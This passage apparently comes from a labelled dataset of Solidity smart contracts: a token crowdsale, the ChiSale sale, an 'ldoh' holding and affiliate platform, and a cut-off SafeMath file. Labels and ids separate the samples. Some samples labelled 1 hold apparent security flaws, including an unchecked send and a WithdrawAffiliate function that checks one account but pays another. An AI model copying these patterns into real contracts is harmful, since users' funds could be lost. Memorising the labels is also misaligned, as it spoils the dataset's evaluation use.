closingTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "WorkPerk"; string public constant TOKEN_SYMBOL = "WPRK"; bool public constant PAUSED = false; address public constant TARGET_USER = 0xeBB920699F235FC4DB9572FA86ef1506AC3AF23d; uint public constant START_TIME = 1551398400; bool public constant CONTINUE_MINTING = true; } contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal { } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function capReached() public view returns (bool) { return weiRaised >= cap; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } contract MintedCrowdsale is Crowdsale { function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } } contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale { function hasStarted() public view returns (bool) { return now >= openingTime; } function startTime() public view returns (uint256) { return openingTime; } function endTime() public view returns (uint256) { return closingTime; } function hasClosed() public view returns (bool) { return super.hasClosed() || capReached(); } function hasEnded() public view returns (bool) { return hasClosed(); } function finalization() internal { super.finalization(); if (PAUSED) { MainToken(token).unpause(); } if (!CONTINUE_MINTING) { require(MintableToken(token).finishMinting()); } Ownable(token).transferOwnership(TARGET_USER); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate).div(1 ether); } } contract BonusableCrowdsale is Consts, Crowdsale { function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 bonusRate = getBonusRate(_weiAmount); return _weiAmount.mul(bonusRate).div(1 ether); } function getBonusRate(uint256 _weiAmount) internal view returns (uint256) { uint256 bonusRate = rate; uint[5] memory weiRaisedStartsBounds = [uint(0),uint(0),uint(0),uint(0),uint(0)]; uint[5] memory weiRaisedEndsBounds = [uint(500000000000000000000000),uint(500000000000000000000000),uint(500000000000000000000000),uint(500000000000000000000000),uint(500000000000000000000000)]; uint64[5] memory timeStartsBounds = [uint64(1551398400),uint64(1554850800),uint64(1555455600),uint64(1556060400),uint64(1557270000)]; uint64[5] memory timeEndsBounds = [uint64(1554850800),uint64(1555455600),uint64(1556060400),uint64(1557270000),uint64(1560034740)]; uint[5] memory weiRaisedAndTimeRates = [uint(500),uint(250),uint(150),uint(100),uint(50)]; for (uint i = 0; i < 5; i++) { bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]); bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]); if (weiRaisedInBound && timeInBound) { bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000; } } return bonusRate; } } contract TemplateCrowdsale is Consts, MainCrowdsale , BonusableCrowdsale { event Initialized(); event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime); bool public initialized = false; constructor(MintableToken _token) public Crowdsale(10000 * TOKEN_DECIMAL_MULTIPLIER, 0x50A0ABe0bdA4623fb5901a73994f7f5336873DE3, _token) TimedCrowdsale(START_TIME > now ? START_TIME : now, 1564181940) CappedCrowdsale(500000000000000000000000) { } function init() public onlyOwner { require(!initialized); initialized = true; if (PAUSED) { MainToken(token).pause(); } transferOwnership(TARGET_USER); emit Initialized(); } function setEndTime(uint _endTime) public onlyOwner { require(now < closingTime); require(now < _endTime); require(_endTime > openingTime); emit TimesChanged(openingTime, _endTime, openingTime, closingTime); closingTime = _endTime; } }
0
385
pragma solidity ^0.4.19; interface ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } contract Owned { address owner; function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } contract ChiSale is Owned { struct BonusTier { uint256 percentage; uint256 threshold; } BonusTier[] private bonusTiers; uint256 private tokensSold; uint8 private bonusIndex; uint256 private maxBonusThreshold; uint256 private constant TOKEN_PRICE = 0.001 ether; uint256 private constant REVENUE_SHARE_PERCENTAGE = 22; ERC20 private chiContract; event LogChiPurchase( address indexed buyer, address indexed referrer, uint256 number, uint256 timestamp ); function ChiSale( address chiAddress, uint256[] bonusThresholds, uint256[] bonusPercentages ) public Owned() { require(bonusThresholds.length == bonusPercentages.length); require(bonusThresholds.length < 256); for (uint8 i = 0; i < bonusThresholds.length; i++) { if (i > 0) { require(bonusThresholds[i] > bonusThresholds[i - 1]); } if (i > bonusThresholds.length - 1) { maxBonusThreshold = bonusThresholds[i]; } bonusTiers.push(BonusTier({ percentage: bonusPercentages[i], threshold: bonusThresholds[i] })); } chiContract = ERC20(chiAddress); tokensSold = 0; bonusIndex = 0; } function buy(address referralAddress) external payable { uint256 tokensToBuy = msg.value / TOKEN_PRICE; uint256 tokenBalance = chiContract.balanceOf(address(this)); uint256 remainder = msg.value % TOKEN_PRICE; if (maxBonusThreshold < tokenBalance) { maxBonusThreshold = tokenBalance; } if (tokensToBuy > maxBonusThreshold) { tokensToBuy = maxBonusThreshold; remainder = msg.value - tokensToBuy * TOKEN_PRICE; } uint256 bonusTokens = calculateBonusTokens(tokensToBuy); tokensSold += tokensToBuy; if (tokenBalance < tokensToBuy + bonusTokens) { chiContract.transfer(msg.sender, tokenBalance); } else { chiContract.transfer(msg.sender, tokensToBuy + bonusTokens); } if (referralAddress != address(this) && referralAddress != address(0)) { referralAddress.send( msg.value * REVENUE_SHARE_PERCENTAGE / 100 ); } if (remainder > 0) { msg.sender.transfer(remainder); } LogChiPurchase(msg.sender, referralAddress, tokensToBuy, now); } function resetMaxBonusThreshold() external onlyOwner { maxBonusThreshold = bonusTiers[bonusTiers.length - 1].threshold; } function withdrawEther() external onlyOwner { msg.sender.transfer(address(this).balance); } function withdrawChi() external onlyOwner { chiContract.transfer(msg.sender, chiContract.balanceOf(address(this))); } function getBonusTierCount() external view returns (uint256) { return bonusTiers.length; } function getBonusTier( uint8 bonusTierIndex ) external view returns (uint256, uint256) { return ( bonusTiers[bonusTierIndex].percentage, bonusTiers[bonusTierIndex].threshold ); } function getCurrentBonusTier() external view returns (uint256 percentage, uint256 threshold) { return ( bonusTiers[bonusIndex].percentage, bonusTiers[bonusIndex].threshold ); } function getNextBonusIndex() external view returns (uint8) { return bonusIndex + 1; } function getSoldTokens() external view returns (uint256) { return tokensSold; } function calculateBonusTokens( uint256 boughtTokens ) internal returns (uint256) { if (bonusIndex == bonusTiers.length) { return 0; } uint256 bonusTokens = 0; uint256 _boughtTokens = boughtTokens; uint256 _tokensSold = tokensSold; while (_boughtTokens > 0) { uint256 threshold = bonusTiers[bonusIndex].threshold; uint256 bonus = bonusTiers[bonusIndex].percentage; if (_tokensSold + _boughtTokens >= threshold) { _boughtTokens -= threshold - _tokensSold; bonusTokens += (threshold - _tokensSold) * bonus / 100; _tokensSold = threshold; if (bonusIndex < bonusTiers.length) { bonusIndex += 1; } } else { _tokensSold += _boughtTokens; bonusTokens += _boughtTokens * bonus / 100; _boughtTokens = 0; } } return bonusTokens; } }
1
3,612
pragma solidity ^0.4.25; contract EthereumSmartContract { address EthereumNodes; constructor() public { EthereumNodes = msg.sender; } modifier restricted() { require(msg.sender == EthereumNodes); _; } function GetEthereumNodes() public view returns (address owner) { return EthereumNodes; } } contract ldoh is EthereumSmartContract { event onCashbackCode (address indexed hodler, address cashbackcode); event onAffiliateBonus (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onHoldplatform (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onUnlocktoken (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onReceiveAirdrop (address indexed hodler, uint256 amount, uint256 datetime); event onHOLDdeposit (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime); event onHOLDwithdraw (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime); struct Safe { uint256 id; uint256 amount; uint256 endtime; address user; address tokenAddress; string tokenSymbol; uint256 amountbalance; uint256 cashbackbalance; uint256 lasttime; uint256 percentage; uint256 percentagereceive; uint256 tokenreceive; uint256 lastwithdraw; address referrer; bool cashbackstatus; } uint256 private idnumber; uint256 public TotalUser; mapping(address => address) public cashbackcode; mapping(address => uint256[]) public idaddress; mapping(address => address[]) public afflist; mapping(address => string) public ContractSymbol; mapping(uint256 => Safe) private _safes; mapping(address => bool) public contractaddress; mapping (address => mapping (uint256 => uint256)) public Bigdata; mapping (address => mapping (address => mapping (uint256 => uint256))) public Statistics; address public Holdplatform_address; uint256 public Holdplatform_balance; mapping(address => uint256) public Holdplatform_status; mapping(address => uint256) public Holdplatform_divider; constructor() public { idnumber = 500; Holdplatform_address = 0x23bAdee11Bf49c40669e9b09035f048e9146213e; } function () public payable { if (msg.value == 0) { tothe_moon(); } else { revert(); } } function tothemoon() public payable { if (msg.value == 0) { tothe_moon(); } else { revert(); } } function tothe_moon() private { for(uint256 i = 1; i < idnumber; i++) { Safe storage s = _safes[i]; if (s.user == msg.sender) { Unlocktoken(s.tokenAddress, s.id); } } } function CashbackCode(address _cashbackcode, uint256 uniquecode) public { require(_cashbackcode != msg.sender); if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 && Bigdata[_cashbackcode][8] == 1 && Bigdata[_cashbackcode][18] != uniquecode ) { cashbackcode[msg.sender] = _cashbackcode; } else { cashbackcode[msg.sender] = EthereumNodes; } if (Bigdata[msg.sender][18] == 0 ) { Bigdata[msg.sender][18] = uniquecode; } emit onCashbackCode(msg.sender, _cashbackcode); } function Holdplatform(address tokenAddress, uint256 amount) public { require(amount >= 1 ); uint256 holdamount = add(Statistics[msg.sender][tokenAddress][5], amount); require(holdamount <= Bigdata[tokenAddress][5] ); if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 ) { cashbackcode[msg.sender] = EthereumNodes; Bigdata[msg.sender][18] = 123456; } if (contractaddress[tokenAddress] == false) { revert(); } else { ERC20Interface token = ERC20Interface(tokenAddress); require(token.transferFrom(msg.sender, address(this), amount)); HodlTokens2(tokenAddress, amount); Airdrop(tokenAddress, amount, 1); } } function HodlTokens2(address ERC, uint256 amount) public { address ref = cashbackcode[msg.sender]; address ref2 = EthereumNodes; uint256 ReferrerContribution = Statistics[ref][ERC][5]; uint256 ReferralContribution = Statistics[msg.sender][ERC][5]; uint256 MyContribution = add(ReferralContribution, amount); if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0 ) { uint256 nodecomission = div(mul(amount, 28), 100); Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], nodecomission ); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], nodecomission ); } else { uint256 affcomission = div(mul(amount, 12), 100); if (ReferrerContribution >= MyContribution) { Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission); } else { if (ReferrerContribution > ReferralContribution ) { if (amount <= add(ReferrerContribution,ReferralContribution) ) { uint256 AAA = sub(ReferrerContribution, ReferralContribution ); uint256 affcomission2 = div(mul(AAA, 12), 100); uint256 affcomission3 = sub(affcomission, affcomission2); } else { uint256 BBB = sub(sub(amount, ReferrerContribution), ReferralContribution); affcomission3 = div(mul(BBB, 12), 100); affcomission2 = sub(affcomission, affcomission3); } } else { affcomission2 = 0; affcomission3 = affcomission; } Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission2); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission2); Statistics[ref2][ERC][3] = add(Statistics[ref2][ERC][3], affcomission3); Statistics[ref2][ERC][4] = add(Statistics[ref2][ERC][4], affcomission3); } } HodlTokens3(ERC, amount, ref); } function HodlTokens3(address ERC, uint256 amount, address ref) public { uint256 AvailableBalances = div(mul(amount, 72), 100); if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0 ) { uint256 AvailableCashback = 0; } else { AvailableCashback = div(mul(amount, 16), 100);} ERC20Interface token = ERC20Interface(ERC); uint256 TokenPercent = Bigdata[ERC][1]; uint256 TokenHodlTime = Bigdata[ERC][2]; uint256 HodlTime = add(now, TokenHodlTime); uint256 AM = amount; uint256 AB = AvailableBalances; uint256 AC = AvailableCashback; amount = 0; AvailableBalances = 0; AvailableCashback = 0; _safes[idnumber] = Safe(idnumber, AM, HodlTime, msg.sender, ERC, token.symbol(), AB, AC, now, TokenPercent, 0, 0, 0, ref, false); Statistics[msg.sender][ERC][1] = add(Statistics[msg.sender][ERC][1], AM); Statistics[msg.sender][ERC][5] = add(Statistics[msg.sender][ERC][5], AM); Bigdata[ERC][6] = add(Bigdata[ERC][6], AM); Bigdata[ERC][3] = add(Bigdata[ERC][3], AM); if(Bigdata[msg.sender][8] == 1 ) { idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][10]++; } else { afflist[ref].push(msg.sender); idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][9]++; Bigdata[ERC][10]++; TotalUser++; } Bigdata[msg.sender][8] = 1; emit onHoldplatform(msg.sender, ERC, token.symbol(), AM, HodlTime); } function Unlocktoken(address tokenAddress, uint256 id) public { require(tokenAddress != 0x0); require(id != 0); Safe storage s = _safes[id]; require(s.user == msg.sender); require(s.tokenAddress == tokenAddress); if (s.amountbalance == 0) { revert(); } else { UnlockToken2(tokenAddress, id); } } function UnlockToken2(address ERC, uint256 id) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 eventAmount = s.amountbalance; address eventTokenAddress = s.tokenAddress; string memory eventTokenSymbol = s.tokenSymbol; if(s.endtime < now){ uint256 amounttransfer = add(s.amountbalance, s.cashbackbalance); Statistics[msg.sender][ERC][5] = sub(Statistics[s.user][s.tokenAddress][5], s.amount); s.lastwithdraw = amounttransfer; s.amountbalance = 0; s.lasttime = now; PayToken(s.user, s.tokenAddress, amounttransfer); if(s.cashbackbalance > 0 && s.cashbackstatus == false || s.cashbackstatus == true) { s.tokenreceive = div(mul(s.amount, 88), 100) ; s.percentagereceive = mul(1000000000000000000, 88); } else { s.tokenreceive = div(mul(s.amount, 72), 100) ; s.percentagereceive = mul(1000000000000000000, 72); } s.cashbackbalance = 0; emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); } else { UnlockToken3(ERC, s.id); } } function UnlockToken3(address ERC, uint256 id) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 timeframe = sub(now, s.lasttime); uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), 2592000); uint256 MaxWithdraw = div(s.amount, 10); if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; } if (MaxAccumulation > s.amountbalance) { uint256 realAmount1 = s.amountbalance; } else { realAmount1 = MaxAccumulation; } uint256 realAmount = add(s.cashbackbalance, realAmount1); uint256 newamountbalance = sub(s.amountbalance, realAmount1); s.cashbackbalance = 0; s.amountbalance = newamountbalance; s.lastwithdraw = realAmount; s.lasttime = now; UnlockToken4(ERC, id, newamountbalance, realAmount); } function UnlockToken4(address ERC, uint256 id, uint256 newamountbalance, uint256 realAmount) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 eventAmount = realAmount; address eventTokenAddress = s.tokenAddress; string memory eventTokenSymbol = s.tokenSymbol; uint256 tokenaffiliate = div(mul(s.amount, 12), 100) ; uint256 maxcashback = div(mul(s.amount, 16), 100) ; uint256 sid = s.id; if (cashbackcode[msg.sender] == EthereumNodes && idaddress[msg.sender][0] == sid ) { uint256 tokenreceived = sub(sub(sub(s.amount, tokenaffiliate), maxcashback), newamountbalance) ; }else { tokenreceived = sub(sub(s.amount, tokenaffiliate), newamountbalance) ;} uint256 percentagereceived = div(mul(tokenreceived, 100000000000000000000), s.amount) ; s.tokenreceive = tokenreceived; s.percentagereceive = percentagereceived; PayToken(s.user, s.tokenAddress, realAmount); emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); Airdrop(s.tokenAddress, realAmount, 4); } function PayToken(address user, address tokenAddress, uint256 amount) private { ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount); Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount); Statistics[msg.sender][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount); Bigdata[tokenAddress][11]++; } function Airdrop(address tokenAddress, uint256 amount, uint256 extradivider) private { if (Holdplatform_status[tokenAddress] == 1) { require(Holdplatform_balance > 0 ); uint256 divider = Holdplatform_divider[tokenAddress]; uint256 airdrop = div(div(amount, divider), extradivider); address airdropaddress = Holdplatform_address; ERC20Interface token = ERC20Interface(airdropaddress); token.transfer(msg.sender, airdrop); Holdplatform_balance = sub(Holdplatform_balance, airdrop); Bigdata[tokenAddress][12]++; emit onReceiveAirdrop(msg.sender, airdrop, now); } } function GetUserSafesLength(address hodler) public view returns (uint256 length) { return idaddress[hodler].length; } function GetTotalAffiliate(address hodler) public view returns (uint256 length) { return afflist[hodler].length; } function GetSafe(uint256 _id) public view returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 cashbackbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive) { Safe storage s = _safes[_id]; return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.cashbackbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive); } function WithdrawAffiliate(address user, address tokenAddress) public { require(tokenAddress != 0x0); require(Statistics[user][tokenAddress][3] > 0 ); uint256 amount = Statistics[msg.sender][tokenAddress][3]; Statistics[msg.sender][tokenAddress][3] = 0; Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount); Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount); uint256 eventAmount = amount; address eventTokenAddress = tokenAddress; string memory eventTokenSymbol = ContractSymbol[tokenAddress]; ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount); Bigdata[tokenAddress][13]++; emit onAffiliateBonus(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); Airdrop(tokenAddress, amount, 4); } function AddContractAddress(address tokenAddress, uint256 CurrentUSDprice, uint256 CurrentETHprice, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth) public restricted { uint256 newSpeed = _PercentPermonth; require(newSpeed >= 3 && newSpeed <= 12); Bigdata[tokenAddress][1] = newSpeed; ContractSymbol[tokenAddress] = _ContractSymbol; Bigdata[tokenAddress][5] = _maxcontribution; uint256 _HodlingTime = mul(div(72, newSpeed), 30); uint256 HodlTime = _HodlingTime * 1 days; Bigdata[tokenAddress][2] = HodlTime; Bigdata[tokenAddress][14] = CurrentUSDprice; Bigdata[tokenAddress][17] = CurrentETHprice; contractaddress[tokenAddress] = true; } function TokenPrice(address tokenAddress, uint256 Currentprice, uint256 ATHprice, uint256 ATLprice, uint256 ETHprice) public restricted { if (Currentprice > 0 ) { Bigdata[tokenAddress][14] = Currentprice; } if (ATHprice > 0 ) { Bigdata[tokenAddress][15] = ATHprice; } if (ATLprice > 0 ) { Bigdata[tokenAddress][16] = ATLprice; } if (ETHprice > 0 ) { Bigdata[tokenAddress][17] = ETHprice; } } function Holdplatform_Airdrop(address tokenAddress, uint256 HPM_status, uint256 HPM_divider) public restricted { require(HPM_status == 0 || HPM_status == 1 ); Holdplatform_status[tokenAddress] = HPM_status; Holdplatform_divider[tokenAddress] = HPM_divider; } function Holdplatform_Deposit(uint256 amount) restricted public { require(amount > 0 ); ERC20Interface token = ERC20Interface(Holdplatform_address); require(token.transferFrom(msg.sender, address(this), amount)); uint256 newbalance = add(Holdplatform_balance, amount) ; Holdplatform_balance = newbalance; emit onHOLDdeposit(msg.sender, amount, newbalance, now); } function Holdplatform_Withdraw(uint256 amount) restricted public { require(Holdplatform_balance > 0 && amount <= Holdplatform_balance); uint256 newbalance = sub(Holdplatform_balance, amount) ; Holdplatform_balance = newbalance; ERC20Interface token = ERC20Interface(Holdplatform_address); require(token.balanceOf(address(this)) >= amount); token.transfer(msg.sender, amount); emit onHOLDwithdraw(msg.sender, amount, newbalance, now); } function ReturnAllTokens() restricted public { for(uint256 i = 1; i < idnumber; i++) { Safe storage s = _safes[i]; if (s.id != 0) { if(s.amountbalance > 0) { uint256 amount = add(s.amountbalance, s.cashbackbalance); PayToken(s.user, s.tokenAddress, amount); s.amountbalance = 0; s.cashbackbalance = 0; Statistics[s.user][s.tokenAddress][5] = 0; } } } } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } contract ERC20Interface { uint256 public totalSupply; uint256 public decimals; function symbol() public view returns (string); function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
1
3,961
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address 